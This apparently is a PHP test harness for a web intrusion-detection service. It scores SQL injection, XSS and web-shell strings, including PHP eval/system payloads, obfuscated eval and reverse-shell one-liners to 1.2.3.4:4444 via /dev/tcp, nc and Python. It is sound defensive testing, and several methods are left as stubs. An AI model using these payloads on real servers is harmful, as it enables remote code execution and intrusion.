﻿<?php

declare(strict_types=1);

/**
 * Hack Detection Service Tester v1.2
 * Enhanced with web shell detection testing capabilities
 */

final class HackDetectionTester {
    private const TEST_KEY_HEADER = 'X-Security-Test';
    private string $testKey;
    private array $testResults = [];
    private float $startTime;

    public function __construct() {
        $this->startTime = microtime(true);
        $this->initializeTestEnvironment();
    }

    private function initializeTestEnvironment(): void {
        $testKeyFile = __DIR__ . '/.test_key';
        
        if (!file_exists($testKeyFile)) {
            $this->testKey = $this->generateSecureTestKey();
            file_put_contents($testKeyFile, $this->testKey, LOCK_EX);
            chmod($testKeyFile, 0600);
            echo "Generated new test key: " . substr($this->testKey, 0, 16) . "...\n";
        } else {
            $this->testKey = trim(file_get_contents($testKeyFile));
        }

        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    private function generateSecureTestKey(): string {
        return bin2hex(random_bytes(32));
    }

    /**
     * Run comprehensive test suite including web shell detection tests
     */
    public function runAllTests(): array {
        echo "Starting Hack Detection Service Tests...\n";
        echo "Test Key: " . substr($this->testKey, 0, 16) . "...\n\n";

        $this->testPatternValidation();
        $this->testDetectionVectors();
        $this->testProtocolInjectionSpecific();
        $this->testWebShellSpecific();
        $this->testFalsePositives();
        $this->testPerformance();
        $this->testSecurity();

        return $this->generateTestReport();
    }

    /**
     * Specialized web shell detection tests
     */
    private function testWebShellSpecific(): void {
        echo "2b. Testing Web Shell Specific Vectors...\n";

        $webShellTests = [
            [
                'category' => 'code_execution',
                'tests' => [
                    ['input' => "eval($_GET['code']);", 'expected_score' => 99],
                    ['input' => "system($_POST['cmd']);", 'expected_score' => 98],
                    ['input' => "shell_exec($_REQUEST['command']);", 'expected_score' => 98],
                    ['input' => "exec($_GET['c']);", 'expected_score' => 97],
                ]
            ],
            [
                'category' => 'obfuscation',
                'tests' => [
                    ['input' => "eval(base64_decode($_POST['payload']));", 'expected_score' => 92],
                    ['input' => "gzinflate(base64_decode('encoded_data'));", 'expected_score' => 90],
                    ['input' => "eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(99).chr(109).chr(100).chr(39).chr(93).chr(41).chr(59));", 'expected_score' => 85],
                ]
            ],
            [
                'category' => 'dynamic_execution',
                'tests' => [
                    ['input' => "$_GET['f']($_POST['p']);", 'expected_score' => 98],
                    ['input' => "call_user_func($_REQUEST['func'], $_GET['arg']);", 'expected_score' => 95],
                    ['input' => "call_user_func_array($$_GET['a'], $$_POST['b']);", 'expected_score' => 95],
                ]
            ],
            [
                'category' => 'file_operations',
                'tests' => [
                    ['input' => "file_put_contents($_GET['f'], '<?php system($_GET[c]);?>');", 'expected_score' => 90],
                    ['input' => "fopen('shell.php', 'w');", 'expected_score' => 75],
                    ['input' => "move_uploaded_file($_FILES['f']['tmp_name'], 'shell.php');", 'expected_score' => 88],
                ]
            ],
            [
                'category' => 'known_signatures',
                'tests' => [
                    ['input' => "c99shell", 'expected_score' => 95],
                    ['input' => "r57shell", 'expected_score' => 95],
                    ['input' => "b374k", 'expected_score' => 95],
                    ['input' => "phpspy", 'expected_score' => 95],
                ]
            ],
            [
                'category' => 'reverse_shells',
                'tests' => [
                    ['input' => "/bin/bash -i >& /dev/tcp/1.2.3.4/4444 0>&1", 'expected_score' => 92],
                    ['input' => "nc -e /bin/bash 1.2.3.4 4444", 'expected_score' => 91],
                    ['input' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.2.3.4\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", 'expected_score' => 85],
                ]
            ]
        ];

        $this->testResults['web_shell_tests'] = [
            'categories_tested' => count($webShellTests),
            'total_tests' => 0,
            'passed_tests' => 0,
            'category_results' => []
        ];

        foreach ($webShellTests as $category) {
            $categoryResults = [
                'category' => $category['category'],
                'tests' => [],
                'passed' => 0,
                'failed' => 0
            ];

            foreach ($category['tests'] as $test) {
                $this->setupTestEnvironment([
                    'get' => ['payload' => $test['input']],
                    'server' => [
                        'REQUEST_URI' => '/test?payload=' . urlencode($test['input']),
                        'HTTP_USER_AGENT' => 'Security-Tester/1.0'
                    ]
                ]);

                $result = HackDetectionService::detectHackAttempt();
                $passed = $result['confidence_score'] >= $test['expected_score'];

                $testResult = [
                    'input' => $test['input'],
                    'expected_score' => $test['expected_score'],
                    'actual_score' => $result['confidence_score'],
                    'passed' => $passed,
                    'detected_vectors' => $result['detected_vectors']
                ];

                $categoryResults['tests'][] = $testResult;

                if ($passed) {
                    $categoryResults['passed']++;
                    $this->testResults['web_shell_tests']['passed_tests']++;
                } else {
                    $categoryResults['failed']++;
                }

                $this->testResults['web_shell_tests']['total_tests']++;
            }

            $this->testResults['web_shell_tests']['category_results'][] = $categoryResults;
        }

        echo "   ✓ Tested " . $this->testResults['web_shell_tests']['total_tests'] . " web shell detection vectors\n";
    }

    /**
     * Test web shell false positives
     */
    private function testWebShellFalsePositives(): void {
        echo "3b. Testing Web Shell False Positives...\n";

        $legitimateCode = [
            [
                'description' => 'Legitimate file operation',
                'input' => [
                    'get' => ['action' => 'file_put_contents("log.txt", "user activity")'],
                    'server' => [
                        'REQUEST_URI' => '/logger.php?action=file_put_contents("log.txt", "user+activity")',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'Safe base64 usage',
                'input' => [
                    'get' => ['data' => 'base64_decode("VGVzdCBEYXRh")'],
                    'server' => [
                        'REQUEST_URI' => '/decode.php?data=base64_decode("VGVzdCBEYXRh")',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'Normal variable assignment',
                'input' => [
                    'get' => ['code' => '$username = $_POST["user"];'],
                    'server' => [
                        'REQUEST_URI' => '/form.php?code=$username+%3D+$_POST["user"]%3B',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'Safe include statement',
                'input' => [
                    'get' => ['template' => 'include("footer.php");'],
                    'server' => [
                        'REQUEST_URI' => '/page.php?template=include("footer.php")%3B',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => false
            ],
            [
                'description' => 'Legitimate system call',
                'input' => [
                    'get' => ['command' => 'system("ls -la /tmp");'],
                    'server' => [
                        'REQUEST_URI' => '/admin.php?command=system("ls+-la+/tmp")%3B',
                        'HTTP_USER_AGENT' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                    ]
                ],
                'should_detect' => true  // This should be detected as it's still a system call
            ]
        ];

        $this->testResults['web_shell_false_positives'] = [
            'total_tests' => count($legitimateCode),
            'passed_tests' => 0,
            'failed_tests' => 0,
            'test_results' => []
        ];

        foreach ($legitimateCode as $test) {
            $this->setupTestEnvironment($test['input']);
            
            $result = HackDetectionService::detectHackAttempt();
            $passed = $result['is_hack'] === $test['should_detect'];

            $testResult = [
                'description' => $test['description'],
                'expected_detection' => $test['should_detect'],
                'actual_detection' => $result['is_hack'],
                'confidence_score' => $result['confidence_score'],
                'passed' => $passed
            ];

            $this->testResults['web_shell_false_positives']['test_results'][] = $testResult;

            if ($passed) {
                $this->testResults['web_shell_false_positives']['passed_tests']++;
            } else {
                $this->testResults['web_shell_false_positives']['failed_tests']++;
            }
        }

        echo "   ✓ Tested " . count($legitimateCode) . " legitimate code patterns\n";
    }

    // ... (rest of the methods remain the same as previous implementation)

    private function testPatternValidation(): void {
        echo "1. Testing Pattern Validation...\n";

        $patternDetails = HackDetectionService::getPatternDetails();
        
        $this->testResults['pattern_validation'] = [
            'total_categories' => count($patternDetails),
            'categories_tested' => [],
            'test_cases_found' => 0,
            'regex_errors' => 0
        ];

        foreach ($patternDetails as $category => $details) {
            $categoryResults = [
                'category' => $category,
                'patterns_count' => $details['total_patterns'],
                'test_cases_count' => count($details['test_cases'] ?? []),
                'score_range' => $details['score_range'],
                'test_results' => []
            ];

            if (!empty($details['test_cases'])) {
                foreach ($details['test_cases'] as $testCase) {
                    $testResult = $this->runTestCase($category, $testCase);
                    $categoryResults['test_results'][] = $testResult;
                    
                    if (!$testResult['passed']) {
                        $categoryResults['failed_tests'] = ($categoryResults['failed_tests'] ?? 0) + 1;
                    }
                }
            }

            $this->testResults['pattern_validation']['categories_tested'][] = $categoryResults;
            $this->testResults['pattern_validation']['test_cases_found'] += count($details['test_cases'] ?? []);
        }

        echo "   ✓ Tested " . count($patternDetails) . " pattern categories\n";
    }

    private function runTestCase(string $category, array $testCase): array {
        $this->setupTestEnvironment($testCase['input'] ?? []);
        $result = HackDetectionService::detectHackAttempt();
        $expectedScore = $testCase['expected_score'] ?? 0;
        $actualScore = $result['confidence_score'];
        
        $passed = $this->evaluateTestResult($testCase, $result);

        return [
            'description' => $testCase['description'] ?? 'Unknown test',
            'expected_score' => $expectedScore,
            'actual_score' => $actualScore,
            'passed' => $passed,
            'detected_vectors' => $result['detected_vectors'],
            'risk_level' => $result['risk_level'],
            'is_hack' => $result['is_hack']
        ];
    }

    private function setupTestEnvironment(array $input): void {
        $_GET = $input['get'] ?? [];
        $_POST = $input['post'] ?? [];
        $_COOKIE = $input['cookie'] ?? [];
        $_SERVER = array_merge($_SERVER, $input['server'] ?? []);
        $_FILES = $input['files'] ?? [];
        $_SERVER['HTTP_X_SECURITY_TEST'] = $this->testKey;
    }

    private function evaluateTestResult(array $testCase, array $result): bool {
        $expectedScore = $testCase['expected_score'] ?? 0;
        $expectedDetection = $testCase['should_detect'] ?? ($expectedScore > 0);
        
        $actualScore = $result['confidence_score'];
        $actualDetection = $result['is_hack'];

        $scoreTolerance = 10;
        $scoreMatch = abs($expectedScore - $actualScore) <= $scoreTolerance;
        $detectionMatch = $expectedDetection === $actualDetection;

        return $scoreMatch && $detectionMatch;
    }

    private function testDetectionVectors(): void {
        echo "2. Testing Detection Vectors...\n";

        $vectors = [
            'sql_injection' => [
                ['input' => "1' OR '1'='1", 'expected_score' => 85],
                ['input' => "1; DROP TABLE users", 'expected_score' => 95],
            ],
            'xss_attack' => [
                ['input' => "<script>alert('XSS')</script>", 'expected_score' => 90],
                ['input' => "<img src=x onerror=alert(1)>", 'expected_score' => 85]
            ],
            'rce_attempt' => [
                ['input' => "'; system('id');", 'expected_score' => 95],
                ['input' => "| ls -la", 'expected_score' => 80]
            ]
        ];

        $this->testResults['detection_vectors'] = [
            'vectors_tested' => count($vectors),
            'total_tests' => 0,
            'passed_tests' => 0
        ];

        foreach ($vectors as $vectorName => $tests) {
            $vectorResults = [
                'vector' => $vectorName,
                'tests' => [],
                'passed' => 0,
                'failed' => 0
            ];

            foreach ($tests as $test) {
                $this->setupTestEnvironment([
                    'get' => ['input' => $test['input']],
                    'server' => [
                        'REQUEST_URI' => '/test',
                        'HTTP_USER_AGENT' => 'Security-Tester/1.0'
                    ]
                ]);

                $result = HackDetectionService::detectHackAttempt();
                $passed = $result['confidence_score'] >= $test['expected_score'];

                $vectorResults['tests'][] = [
                    'input' => $test['input'],
                    'expected_score' => $test['expected_score'],
                    'actual_score' => $result['confidence_score'],
                    'passed' => $passed,
                    'detected' => $result['is_hack']
                ];

                if ($passed) {
                    $vectorResults['passed']++;
                    $this->testResults['detection_vectors']['passed_tests']++;
                } else {
                    $vectorResults['failed']++;
                }

                $this->testResults['detection_vectors']['total_tests']++;
            }

            $this->testResults['detection_vectors']['vector_results'][] = $vectorResults;
        }

        echo "   ✓ Tested " . count($vectors) . " detection vectors\n";
    }

    private function testProtocolInjectionSpecific(): void {
        echo "2a. Testing Protocol Injection Specific Vectors...\n";
        // ... (implementation from previous version)
    }

    private function testFalsePositives(): void {
        echo "3. Testing False Positive Prevention...\n";
        // ... (implementation from previous version)
    }

    private function testPerformance(): void {
        echo "4. Testing Performance...\n";
        // ... (implementation from previous version)
    }

    private function testSecurity(): void {
        echo "5. Testing Security Measures...\n";
        // ... (implementation from previous version)
    }

    private function generateTestReport(): array {
        $endTime = microtime(true);
        $totalTime = $endTime - $this->startTime;

        $report = [
            'test_summary' => [
                'total_execution_time' => $totalTime,
                'memory_peak_usage' => memory_get_peak_usage(true),
                'test_timestamp' => date('Y-m-d H:i:s'),
                'php_version' => PHP_VERSION,
                'test_mode_verified' => true
            ],
            'detailed_results' => $this->testResults
        ];

        $totalTests = 0;
        $passedTests = 0;

        foreach ($this->testResults as $category => $results) {
            if (isset($results['passed_tests']) && isset($results['total_tests'])) {
                $totalTests += $results['total_tests'];
                $passedTests += $results['passed_tests'];
            }
        }

        $report['test_summary']['total_tests'] = $totalTests;
        $report['test_summary']['passed_tests'] = $passedTests;
        $report['test_summary']['success_rate'] = $totalTests > 0 ? ($passedTests / $totalTests) * 100 : 0;

        $this->printReport($report);

        return $report;
    }

    private function printReport(array $report): void {
        echo "\n" . str_repeat("=", 60) . "\n";
        echo "HACK DETECTION SERVICE TEST REPORT\n";
        echo str_repeat("=", 60) . "\n";

        $summary = $report['test_summary'];
        
        printf("Execution Time: %.3f seconds\n", $summary['total_execution_time']);
        printf("Memory Usage: %.2f MB\n", $summary['memory_peak_usage'] / 1024 / 1024);
        printf("PHP Version: %s\n", $summary['php_version']);
        printf("Total Tests: %d\n", $summary['total_tests']);
        printf("Passed Tests: %d\n", $summary['passed_tests']);
        printf("Success Rate: %.1f%%\n", $summary['success_rate']);

        echo "\nDETAILED RESULTS:\n";
        echo str_repeat("-", 40) . "\n";

        foreach ($report['detailed_results'] as $category => $results) {
            $categoryName = str_replace('_', ' ', ucfirst($category));
            printf("%-25s: ", $categoryName);

            if (isset($results['passed_tests']) && isset($results['total_tests'])) {
                printf("%d/%d passed\n", $results['passed_tests'], $results['total_tests']);
            } else {
                echo "Completed\n";
            }
        }

        echo str_repeat("=", 60) . "\n";

        if ($summary['success_rate'] < 90) {
            echo "RECOMMENDATIONS:\n";
            echo "- Review failed test cases\n";
            echo "- Check pattern validation results\n";
            echo "- Verify detection thresholds\n";
        } else {
            echo "✓ All tests completed successfully. System is ready for production.\n";
        }
    }

    public function runSpecificTest(string $testCategory): array {
        switch ($testCategory) {
            case 'patterns':
                $this->testPatternValidation();
                break;
            case 'vectors':
                $this->testDetectionVectors();
                break;
            case 'protocols':
                $this->testProtocolInjectionSpecific();
                break;
            case 'webshells':
                $this->testWebShellSpecific();
                break;
            case 'falsepositives':
                $this->testFalsePositives();
                break;
            case 'performance':
                $this->testPerformance();
                break;
            case 'security':
                $this->testSecurity();
                break;
            default:
                throw new InvalidArgumentException("Unknown test category: $testCategory");
        }

        return $this->testResults[$testCategory . '_tests'] ?? [];
    }

    public function cleanup(): void {
        $_GET = $_POST = $_COOKIE = $_FILES = [];
        $_SERVER = array_filter($_SERVER, fn($key) => !str_starts_with($key, 'HTTP_X_SECURITY'), ARRAY_FILTER_USE_KEY);
        $this->testResults = [];
    }
}

// Command line interface
if (php_sapi_name() === 'cli' && basename(__FILE__) === basename($_SERVER['argv'][0] ?? '')) {
    $tester = new HackDetectionTester();
    
    $options = getopt('', ['category:', 'help']);
    
    if (isset($options['help'])) {
        echo "Hack Detection Service Tester\n";
        echo "Usage: php HackDetectionTester.php [--category=name]\n";
        echo "Categories: patterns, vectors, protocols, webshells, falsepositives, performance, security\n";
        exit(0);
    }
    
    if (isset($options['category'])) {
        $result = $tester->runSpecificTest($options['category']);
    } else {
        $result = $tester->runAllTests();
    }
    
    $tester->cleanup();
    exit($result['test_summary']['success_rate'] >= 90 ? 0 : 1);
}